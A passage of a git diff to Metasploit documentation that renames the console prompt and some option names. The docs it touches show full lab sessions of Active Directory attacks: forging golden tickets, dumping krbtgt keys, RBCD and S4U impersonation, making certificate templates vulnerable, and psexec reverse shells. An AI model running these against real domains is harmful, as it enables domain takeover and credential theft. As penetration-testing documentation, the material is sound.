[*] Auxiliary module execution completed -msf6 auxiliary(admin/kerberos/get_ticket) > loot +msf auxiliary(admin/kerberos/get_ticket) > loot Loot ==== @@ -187,7 +187,7 @@ host service type name content i TGS with encryption key: ```msf -msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator AES_KEY= action=GET_TGS spn=cifs/dc02.mylab.local +msf auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator AES_KEY= action=GET_TGS spn=cifs/dc02.mylab.local [*] Running module against 10.0.0.24 [+] 10.0.0.24:88 - Received a valid TGT-Response @@ -200,7 +200,7 @@ msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 do TGS with password: ```msf -msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator password= action=GET_TGS spn=cifs/dc02.mylab.local +msf auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator password= action=GET_TGS spn=cifs/dc02.mylab.local [*] Running module against 10.0.0.24 [+] 10.0.0.24:88 - Received a valid TGT-Response @@ -213,7 +213,7 @@ msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 do TGS with cached TGT: ```msf -msf6 auxiliary(admin/kerberos/get_ticket) > loot +msf auxiliary(admin/kerberos/get_ticket) > loot Loot ==== @@ -223,7 +223,7 @@ host service type name content i 10.0.0.24 mit.kerberos.ccache application/octet-stream realm: MYLAB.LOCAL, serviceName: krbtgt/mylab.local, username: administrator /home/msfuser/.msf4/loot/20221104183244_default_10.0.0.24_mit.kerberos.cca_171694.bin 10.0.0.24 mit.kerberos.ccache application/octet-stream realm: MYLAB.LOCAL, serviceName: cifs/dc02.mylab.local, username: administrator /home/msfuser/.msf4/loot/20221104183244_default_10.0.0.24_mit.kerberos.cca_360960.bin -msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator action=GET_TGS spn=cifs/dc02.mylab.local +msf auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator action=GET_TGS spn=cifs/dc02.mylab.local [*] Running module against 10.0.0.24 [*] 10.0.0.24:88 - Using cached credential for krbtgt/mylab.local Administrator @@ -235,7 +235,7 @@ msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 do TGS without cached TGT: ```msf -msf6 auxiliary(admin/kerberos/get_ticket) > loot +msf auxiliary(admin/kerberos/get_ticket) > loot Loot ==== @@ -245,12 +245,12 @@ host service type name content i 10.0.0.24 mit.kerberos.ccache application/octet-stream realm: MYLAB.LOCAL, serviceName: krbtgt/mylab.local, username: administrator /home/msfuser/.msf4/loot/20221104183244_default_10.0.0.24_mit.kerberos.cca_171694.bin 10.0.0.24 mit.kerberos.ccache application/octet-stream realm: MYLAB.LOCAL, serviceName: cifs/dc02.mylab.local, username: administrator /home/msfuser/.msf4/loot/20221104183244_default_10.0.0.24_mit.kerberos.cca_360960.bin -msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator action=GET_TGS spn=cifs/dc02.mylab.local KrbUseCachedCredentials=false +msf auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator action=GET_TGS spn=cifs/dc02.mylab.local KrbUseCachedCredentials=false [*] Running module against 10.0.0.24 [-] Auxiliary aborted due to failure: unknown: Error while requesting a TGT: Kerberos Error - KDC_ERR_PREAUTH_REQUIRED (25) - Additional pre-authentication required - Check the authentication-related options (PASSWORD, NTHASH or AES_KEY) [*] Auxiliary module execution completed -msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator action=GET_TGS spn=cifs/dc02.mylab.local KrbUseCachedCredentials=false password= +msf auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator action=GET_TGS spn=cifs/dc02.mylab.local KrbUseCachedCredentials=false password= [*] Running module against 10.0.0.24 [+] 10.0.0.24:88 - Received a valid TGT-Response @@ -258,7 +258,7 @@ msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 do [+] 10.0.0.24:88 - Received a valid TGS-Response [*] 10.0.0.24:88 - TGS MIT Credential Cache saved to /home/msfuser/.msf4/loot/20221104183538_default_10.0.0.24_mit.kerberos.cca_849639.bin [*] Auxiliary module execution completed -msf6 auxiliary(admin/kerberos/get_ticket) > loot +msf auxiliary(admin/kerberos/get_ticket) > loot Loot ==== @@ -274,7 +274,7 @@ host service type name content i TGS impersonating the Administrator account: ```msf -msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=serviceA password=123456 action=GET_TGS spn=cifs/dc02.mylab.local impersonate=Administrator +msf auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=serviceA password=123456 action=GET_TGS spn=cifs/dc02.mylab.local impersonate=Administrator [*] Running module against 10.0.0.24 [*] 10.0.0.24:88 - Getting TGS impersonating Administrator@mylab.local (SPN: cifs/dc02.mylab.local) @@ -284,7 +284,7 @@ msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 do [+] 10.0.0.24:88 - Received a valid TGS-Response [*] 10.0.0.24:88 - TGS MIT Credential Cache saved to /home/msfuser/.msf4/loot/20221201210211_default_10.0.0.24_mit.kerberos.cca_757041.bin [*] Auxiliary module execution completed -msf6 auxiliary(admin/kerberos/get_ticket) > loot +msf auxiliary(admin/kerberos/get_ticket) > loot Loot ==== @@ -299,7 +299,7 @@ TGS using a previously forged golden ticket: ``` # Forge a golden ticket -msf6 auxiliary(admin/kerberos/forge_ticket) > run action=FORGE_GOLDEN aes_key=dac659cec15c80bb2bc8b26cdd3f29076cff84da7ab7ec6cf9dfc2cafa33e087 domain_sid=S-1-5-21-2771926996-166873999-4256077803 domain=dev.demo.local spn=krbtgt/DEV.DEMO.LOCAL user=Administrator +msf auxiliary(admin/kerberos/forge_ticket) > run action=FORGE_GOLDEN aes_key=dac659cec15c80bb2bc8b26cdd3f29076cff84da7ab7ec6cf9dfc2cafa33e087 domain_sid=S-1-5-21-2771926996-166873999-4256077803 domain=dev.demo.local spn=krbtgt/DEV.DEMO.LOCAL user=Administrator [*] TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230309120450_default_unknown_mit.kerberos.cca_940462.bin [*] Auxiliary module execution completed @@ -307,7 +307,7 @@ msf6 auxiliary(admin/kerberos/forge_ticket) > run action=FORGE_GOLDEN aes_key=da # Request a silver ticket: -msf6 auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhosts=10.10.11.5 Krb5Ccname=/Users/user/.msf4/loot/20230309120450_default_unknown_mit.kerberos.cca_940462.bin username=Administrator domain=dev.demo.local spn=cifs/dc02.dev.demo.local +msf auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhosts=10.10.11.5 Krb5Ccname=/Users/user/.msf4/loot/20230309120450_default_unknown_mit.kerberos.cca_940462.bin username=Administrator domain=dev.demo.local spn=cifs/dc02.dev.demo.local [*] Running module against 10.10.11.5 [*] 10.10.11.5:88 - Using cached credential for krbtgt/DEV.DEMO.LOCAL@DEV.DEMO.LOCAL Administrator@DEV.DEMO.LOCAL @@ -319,7 +319,7 @@ msf6 auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhosts=10.10.11.5 # Use psexec: -msf6 exploit(windows/smb/psexec) > run rhost=10.10.11.5 smbdomain=dev.demo.local username=Administrator smb::auth=kerberos smb::krb5ccname=/Users/user/.msf4/loot/20230309120802_default_10.10.11.5_mit.kerberos.cca_352530.bin smb::rhostname=dc02.dev.demo.local domaincontrollerrhost=10.10.11.5 lhost=192.168.123.1 +msf exploit(windows/smb/psexec) > run rhost=10.10.11.5 smbdomain=dev.demo.local username=Administrator smb::auth=kerberos smb::krb5ccname=/Users/user/.msf4/loot/20230309120802_default_10.10.11.5_mit.kerberos.cca_352530.bin smb::rhostname=dc02.dev.demo.local domaincontrollerrhost=10.10.11.5 lhost=192.168.123.1 [*] Started reverse TCP handler on 192.168.123.1:4444 [*] 10.10.11.5:445 - Connecting to the server... diff --git a/documentation/modules/auxiliary/admin/kerberos/inspect_ticket.md b/documentation/modules/auxiliary/admin/kerberos/inspect_ticket.md index d9d4fc67b78aa..3fa37d399c7c0 100644 --- a/documentation/modules/auxiliary/admin/kerberos/inspect_ticket.md +++ b/documentation/modules/auxiliary/admin/kerberos/inspect_ticket.md @@ -101,7 +101,7 @@ No other options are used in this action. **Without Key** ```msf -msf6 auxiliary(admin/kerberos/inspect_ticket) > run TICKET_PATH=/path/to/ticket +msf auxiliary(admin/kerberos/inspect_ticket) > run TICKET_PATH=/path/to/ticket Primary Principal: Administrator@WINDOMAIN.LOCAL Ccache version: 4 @@ -134,7 +134,7 @@ Creds: 1 **With Key** ```msf -msf6 auxiliary(admin/kerberos/inspect_ticket) > run AES_KEY=4b912be0366a6f37f4a7d571bee18b1173d93195ef76f8d1e3e81ef6172ab326 TICKET_PATH=/path/to/ticket +msf auxiliary(admin/kerberos/inspect_ticket) > run AES_KEY=4b912be0366a6f37f4a7d571bee18b1173d93195ef76f8d1e3e81ef6172ab326 TICKET_PATH=/path/to/ticket Primary Principal: Administrator@WINDOMAIN.LOCAL Ccache version: 4 diff --git a/documentation/modules/auxiliary/admin/kerberos/keytab.md b/documentation/modules/auxiliary/admin/kerberos/keytab.md index 362e75831a247..80dec1f62bc29 100644 --- a/documentation/modules/auxiliary/admin/kerberos/keytab.md +++ b/documentation/modules/auxiliary/admin/kerberos/keytab.md @@ -22,7 +22,7 @@ The following actions are supported: ### List ```msf -msf6 auxiliary(admin/kerberos/keytab) > run keytab_file=./example.keytab +msf auxiliary(admin/kerberos/keytab) > run keytab_file=./example.keytab Keytab entries ============== @@ -39,7 +39,7 @@ Keytab entries Adding an entry using a known password hash/key which has been extracted from a Domain Controller - for instance by using the `auxiliary/gather/windows_secrets_dump` module: ```msf -msf6 auxiliary(admin/kerberos/keytab) > run action=ADD keytab_file=./example.keytab principal=krbtgt realm=DEMO.LOCAL enctype=AES256 key=e1c5500ffb883e713288d8037651821b9ecb0dfad89e01d1b920fe136879e33c +msf auxiliary(admin/kerberos/keytab) > run action=ADD keytab_file=./example.keytab principal=krbtgt realm=DEMO.LOCAL enctype=AES256 key=e1c5500ffb883e713288d8037651821b9ecb0dfad89e01d1b920fe136879e33c [*] modifying existing keytab [+] keytab entry added to ./example.keytab @@ -48,7 +48,7 @@ msf6 auxiliary(admin/kerberos/keytab) > run action=ADD keytab_file=./example.key Adding entries using a specified password: ```msf -msf6 auxiliary(admin/kerberos/keytab) > run action=ADD keytab_file=./example.keytab principal=Administrator realm=DEMO.LOCAL enctype=ALL password=p4$$w0rd +msf auxiliary(admin/kerberos/keytab) > run action=ADD keytab_file=./example.keytab principal=Administrator realm=DEMO.LOCAL enctype=ALL password=p4$$w0rd [*] modifying existing keytab [*] Generating key with salt: DEMO.LOCALAdministrator. The SALT option can be set manually @@ -61,8 +61,8 @@ Export Kerberos encryption keys stored in the Metasploit database to a keytab fi ```msf # Secrets dump -msf6 > use auxiliary/gather/windows_secrets_dump -msf6 auxiliary(gather/windows_secrets_dump) > run smbuser=Administrator smbpass=p4$$w0rd rhosts=192.168.123.13 +msf > use auxiliary/gather/windows_secrets_dump +msf auxiliary(gather/windows_secrets_dump) > run smbuser=Administrator smbpass=p4$$w0rd rhosts=192.168.123.13 ... omitted ... # Kerberos keys: Administrator:aes256-cts-hmac-sha1-96:56c3bf6629871a4e4b8ec894f37489e823bbaecc2a0a4a5749731afa9d158e01 @@ -76,8 +76,8 @@ krbtgt:des-cbc-md5:3ddf2f627c4cbcdc [*] Auxiliary module execution completed # Export to keytab -msf6 auxiliary(gather/windows_secrets_dump) > use admin/kerberos/keytab -msf6 auxiliary(admin/kerberos/keytab) > run action=EXPORT keytab_file=./example.keytab +msf auxiliary(gather/windows_secrets_dump) > use admin/kerberos/keytab +msf auxiliary(admin/kerberos/keytab) > run action=EXPORT keytab_file=./example.keytab [+] keytab saved to ./example.keytab Keytab entries ============== diff --git a/documentation/modules/auxiliary/admin/kerberos/ticket_converter.md b/documentation/modules/auxiliary/admin/kerberos/ticket_converter.md index a79a588e9bc9b..d2217e579bc35 100644 --- a/documentation/modules/auxiliary/admin/kerberos/ticket_converter.md +++ b/documentation/modules/auxiliary/admin/kerberos/ticket_converter.md @@ -114,7 +114,7 @@ Metasploit will automatically detect the file type so there's no need to tell ms Example: ```msf -msf6 auxiliary(admin/kerberos/ticket_converter) > run inputpath=metasploit_ticket.ccache outputpath=metasploit_ticket.kirbi +msf auxiliary(admin/kerberos/ticket_converter) > run inputpath=metasploit_ticket.ccache outputpath=metasploit_ticket.kirbi [*] [2023.01.05-17:01:02] Converting from ccache to kirbi [*] [2023.01.05-17:01:02] File written to /Users/dwelch/dev/metasploit-framework/metasploit_ticket.kirbi @@ -133,7 +133,7 @@ Metasploit will automatically detect the file type so there's no need to tell ms Example: ```msf -msf6 auxiliary(admin/kerberos/ticket_converter) > run inputpath=metasploit_ticket.kirbi outputpath=metasploit_ticket.ccache +msf auxiliary(admin/kerberos/ticket_converter) > run inputpath=metasploit_ticket.kirbi outputpath=metasploit_ticket.ccache [*] [2023.01.05-17:01:39] Converting from kirbi to ccache [*] [2023.01.05-17:01:39] File written to /Users/dwelch/dev/metasploit-framework/metasploit_ticket.ccache diff --git a/documentation/modules/auxiliary/admin/ldap/ad_cs_cert_template.md b/documentation/modules/auxiliary/admin/ldap/ad_cs_cert_template.md index f6ba5edd3b7ed..5293110b9c243 100644 --- a/documentation/modules/auxiliary/admin/ldap/ad_cs_cert_template.md +++ b/documentation/modules/auxiliary/admin/ldap/ad_cs_cert_template.md @@ -80,20 +80,20 @@ can be used to make one vulnerable to ESC1, or a previously saved configuration the `TEMPLATE_FILE` option is used to restore the settings from a previously deleted template. ```msf -msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10 +msf auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template +msf auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10 RHOSTS => 192.168.159.10 -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle +msf auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle USERNAME => aliddle -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1! +msf auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1! PASSWORD => Password1! -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test +msf auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test CERT_TEMPLATE => ESC4-Test -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION CREATE +msf auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION CREATE ACTION => CREATE -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set TEMPLATE_FILE /home/smcintyre/.msf4/loot/20230505102851_default_192.168.159.10_windows.ad.cs.te_242316.json +msf auxiliary(admin/ldap/ad_cs_cert_template) > set TEMPLATE_FILE /home/smcintyre/.msf4/loot/20230505102851_default_192.168.159.10_windows.ad.cs.te_242316.json TEMPLATE_FILE => /home/smcintyre/.msf4/loot/20230505102851_default_192.168.159.10_windows.ad.cs.te_242316.json -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run +msf auxiliary(admin/ldap/ad_cs_cert_template) > run [*] Running module against 192.168.159.10 [+] Successfully bound to the LDAP server! @@ -103,7 +103,7 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run [*] Creating: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local [+] The operation completed successfully! [*] Auxiliary module execution completed -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > +msf auxiliary(admin/ldap/ad_cs_cert_template) > ``` ### Deleting A Certificate Template @@ -113,18 +113,18 @@ certificate's data is made before it is deleted. This file can be used with the certificate template. ```msf -msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10 +msf auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template +msf auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10 RHOSTS => 192.168.159.10 -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle +msf auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle USERNAME => aliddle -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1! +msf auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1! PASSWORD => Password1! -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test +msf auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test CERT_TEMPLATE => ESC4-Test -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION DELETE +msf auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION DELETE ACTION => DELETE -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run +msf auxiliary(admin/ldap/ad_cs_cert_template) > run [*] Running module against 192.168.159.10 [+] Successfully bound to the LDAP server! @@ -135,7 +135,7 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run [*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505102851_default_192.168.159.10_windows.ad.cs.te_242316.json [+] The operation completed successfully! [*] Auxiliary module execution completed -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > +msf auxiliary(admin/ldap/ad_cs_cert_template) > ``` ### Reading A Certificate Template @@ -143,18 +143,18 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) > In this scenario, the operator uses the module to read the configuration of the default `User` certificate template. ```msf -msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10 +msf auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template +msf auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10 RHOSTS => 192.168.159.10 -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle +msf auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle USERNAME => aliddle -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1! +msf auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1! PASSWORD => Password1! -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE User +msf auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE User CERT_TEMPLATE => User -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION READ +msf auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION READ ACTION => READ -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run +msf auxiliary(admin/ldap/ad_cs_cert_template) > run [*] Running module against 192.168.159.10 [+] Successfully bound to the LDAP server! @@ -183,7 +183,7 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run [*] * 1.3.6.1.5.5.7.3.2 [+] The operation completed successfully! [*] Auxiliary module execution completed -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > +msf auxiliary(admin/ldap/ad_cs_cert_template) > ``` ### Updating A Certificate Template @@ -193,20 +193,20 @@ vulnerable to ESC1 (the default template settings). This process first makes a b be used later. The local certificate template data can be modified to set a custom security descriptor. ```msf -msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10 +msf auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template +msf auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10 RHOSTS => 192.168.159.10 -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle +msf auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle USERNAME => aliddle -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1! +msf auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1! PASSWORD => Password1! -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test +msf auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test CERT_TEMPLATE => ESC4-Test -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION UPDATE +msf auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION UPDATE ACTION => UPDATE -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set VERBOSE true +msf auxiliary(admin/ldap/ad_cs_cert_template) > set VERBOSE true VERBOSE => true -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run +msf auxiliary(admin/ldap/ad_cs_cert_template) > run [*] Running module against 192.168.159.10 [+] Successfully bound to the LDAP server! @@ -218,7 +218,7 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run [*] Parsing SDDL text: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU) [+] The operation completed successfully! [*] Auxiliary module execution completed -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > +msf auxiliary(admin/ldap/ad_cs_cert_template) > ``` [certipy]: https://github.com/ly4k/Certipy diff --git a/documentation/modules/auxiliary/admin/ldap/change_password.md b/documentation/modules/auxiliary/admin/ldap/change_password.md index 7e38236d5b3c8..1e0c006deb515 100755 --- a/documentation/modules/auxiliary/admin/ldap/change_password.md +++ b/documentation/modules/auxiliary/admin/ldap/change_password.md @@ -7,7 +7,7 @@ Allows changing or resetting users' passwords over the LDAP protocol (particular Note that users can typically not reset their own passwords (unless they have very high privileges), but can usually change their password as long as they know the existing one. -This module works with existing sessions (or relaying), especially for Resetting, wherein the target's password is not required. +This module works with existing sessions (or relaying), especially for resetting, wherein the target's password is not required. ## Actions @@ -19,14 +19,14 @@ This module works with existing sessions (or relaying), especially for Resetting The required options are based on the action being performed: - When resetting a password, you must specify the `TARGET_USER` -- When changing a password, you must specify the `USERNAME` and `PASSWORD`, even if using an existing session (since the API requires both of these to be specified, even for open LDAP sessions) +- When changing a password, you must specify the `LDAPUsername` and `LDAPPassword`, even if using an existing session (since the API requires both of these to be specified, even for open LDAP sessions) - The `NEW_PASSWORD` option must always be provided -**USERNAME** +**LDAPUsername** The username to use to authenticate to the server. Required for changing a password, even if using an existing session. -**PASSWORD** +**LDAPPassword** The password to use to authenticate to the server, prior to performing the password modification. Required for changing a password, even if using an existing session (since the server requires proof that you know the existing password). diff --git a/documentation/modules/auxiliary/admin/ldap/rbcd.md b/documentation/modules/auxiliary/admin/ldap/rbcd.md index 1f7e29d36d6dd..ec9ad43c1b6d5 100644 --- a/documentation/modules/auxiliary/admin/ldap/rbcd.md +++ b/documentation/modules/auxiliary/admin/ldap/rbcd.md @@ -121,7 +121,7 @@ with the Service for User (S4U) Kerberos extension. First create the computer account: ```msf -msf6 auxiliary(admin/dcerpc/samr_account) > show options +msf auxiliary(admin/dcerpc/samr_account) > show options Name Current Setting Required Description ---- --------------- -------- ----------- @@ -154,13 +154,13 @@ Auxiliary action: ADD_COMPUTER Add a computer account -msf6 auxiliary(admin/dcerpc/samr_account) > set RHOSTS 192.168.159.10 +msf auxiliary(admin/dcerpc/samr_account) > set RHOSTS 192.168.159.10 RHOSTS => 192.168.159.10 -msf6 auxiliary(admin/dcerpc/samr_account) > set SMBUser sandy +msf auxiliary(admin/dcerpc/samr_account) > set SMBUser sandy SMBUser => sandy -msf6 auxiliary(admin/dcerpc/samr_account) > set SMBPass Password1! +msf auxiliary(admin/dcerpc/samr_account) > set SMBPass Password1! SMBPass => Password1! -msf6 auxiliary(admin/dcerpc/samr_account) > run +msf auxiliary(admin/dcerpc/samr_account) > run [*] Running module against 192.168.159.10 [*] 192.168.159.10:445 - Using automatically identified domain: MSFLAB @@ -168,21 +168,21 @@ msf6 auxiliary(admin/dcerpc/samr_account) > run [+] 192.168.159.10:445 - Password: A2HPEkkQzdxQirylqIj7BxqwB7kuUMrT [+] 192.168.159.10:445 - SID: S-1-5-21-3402587289-1488798532-3618296993-1655 [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/samr_account) > use auxiliary/admin/ldap/rbcd +msf auxiliary(admin/dcerpc/samr_account) > use auxiliary/admin/ldap/rbcd ``` Now use the RBCD module to read the current value of `msDS-AllowedToActOnBehalfOfOtherIdentity`: ```msf -msf6 auxiliary(admin/ldap/rbcd) > set USERNAME sandy@msflab.local +msf auxiliary(admin/ldap/rbcd) > set USERNAME sandy@msflab.local BIND_DN => sandy@msflab.local -msf6 auxiliary(admin/ldap/rbcd) > set PASSWORD Password1! +msf auxiliary(admin/ldap/rbcd) > set PASSWORD Password1! BIND_PW => Password1! -msf6 auxiliary(admin/ldap/rbcd) > set RHOSTS 192.168.159.10 +msf auxiliary(admin/ldap/rbcd) > set RHOSTS 192.168.159.10 RHOSTS => 192.168.159.10 -msf6 auxiliary(admin/ldap/rbcd) > set DELEGATE_TO WS01$ +msf auxiliary(admin/ldap/rbcd) > set DELEGATE_TO WS01$ DELEGATE_TO => WS01$ -msf6 auxiliary(admin/ldap/rbcd) > read +msf auxiliary(admin/ldap/rbcd) > read [*] Running module against 192.168.159.10 [+] Successfully bound to the LDAP server! @@ -195,9 +195,9 @@ msf6 auxiliary(admin/ldap/rbcd) > read Writing a new `msDS-AllowedToActOnBehalfOfOtherIdentity` value using the computer account created by `admin/dcerpc/samr_account`: ```msf -msf6 auxiliary(admin/ldap/rbcd) > set DELEGATE_FROM DESKTOP-QLSTR9NW$ +msf auxiliary(admin/ldap/rbcd) > set DELEGATE_FROM DESKTOP-QLSTR9NW$ DELEGATE_FROM => DESKTOP-QLSTR9NW$ -msf6 auxiliary(admin/ldap/rbcd) > write +msf auxiliary(admin/ldap/rbcd) > write [*] Running module against 192.168.159.10 [+] Successfully bound to the LDAP server! @@ -210,7 +210,7 @@ msf6 auxiliary(admin/ldap/rbcd) > write Reading the value of `msDS-AllowedToActOnBehalfOfOtherIdentity` to verify the value is updated: ```msf -msf6 auxiliary(admin/ldap/rbcd) > read +msf auxiliary(admin/ldap/rbcd) > read [*] Running module against 192.168.159.10 [+] Successfully bound to the LDAP server! @@ -219,14 +219,14 @@ msf6 auxiliary(admin/ldap/rbcd) > read [*] Allowed accounts: [*] DESKTOP-QLSTR9NW$ (S-1-5-21-3402587289-1488798532-3618296993-1655) [*] Auxiliary module execution completed -msf6 auxiliary(admin/ldap/rbcd) > +msf auxiliary(admin/ldap/rbcd) > ``` Next we can use the `auxiliary/admin/kerberos/get_ticket` module to request a new S4U impersonation ticket for the Administrator account using the previously created machine account. For instance requesting a service ticket for SMB access: ```msf -msf6 auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhost=192.168.159.10 username=DESKTOP-QLSTR9NW password=A2HPEkkQzdxQirylqIj7BxqwB7kuUMrT domain=msflab.local spn=cifs/ws01.msflab.local impersonate=Administrator +msf auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhost=192.168.159.10 username=DESKTOP-QLSTR9NW password=A2HPEkkQzdxQirylqIj7BxqwB7kuUMrT domain=msflab.local spn=cifs/ws01.msflab.local impersonate=Administrator [*] Running module against 192.168.159.10 [+] 192.168.159.10:88 - Received a valid TGT-Response @@ -242,7 +242,7 @@ msf6 auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhost=192.168.159 The saved TGS can be used in a pass-the-ticket style attack. For instance using the `exploit/windows/smb/psexec` module for a reverse shell: ```msf -msf6 exploit(windows/smb/psexec) > run lhost=192.168.123.1 rhost=192.168.159.10 username=Administrator smb::auth=kerberos smb::rhostname=ws01.msflab.local domaincontrollerrhost=192.168.159.10 smbdomain=msflab.local smb::krb5ccname=/Users/user/.msf4/loot/20230222095449_default_192.168.159.10_mit.kerberos.cca_614556.bin +msf exploit(windows/smb/psexec) > run lhost=192.168.123.1 rhost=192.168.159.10 username=Administrator smb::auth=kerberos smb::rhostname=ws01.msflab.local domaincontrollerrhost=192.168.159.10 smbdomain=msflab.local smb::krb5ccname=/Users/user/.msf4/loot/20230222095449_default_192.168.159.10_mit.kerberos.cca_614556.bin [*] Started reverse TCP handler on 192.168.123.1:4444 [*] 192.168.159.10:445 - Connecting to the server... diff --git a/documentation/modules/auxiliary/admin/ldap/shadow_credentials.md b/documentation/modules/auxiliary/admin/ldap/shadow_credentials.md index b8e789b2da7ed..3be4cc553829d 100755 --- a/documentation/modules/auxiliary/admin/ldap/shadow_credentials.md +++ b/documentation/modules/auxiliary/admin/ldap/shadow_credentials.md @@ -65,7 +65,7 @@ PropagationFlags : None ## Module usage 1. `use auxiliary/admin/ldap/shadow_credentials` 2. Set the `RHOST` value to a target domain controller -3. Set the `USERNAME` and `PASSWORD` information to an account with the necessary privileges +3. Set the `LDAPUsername` 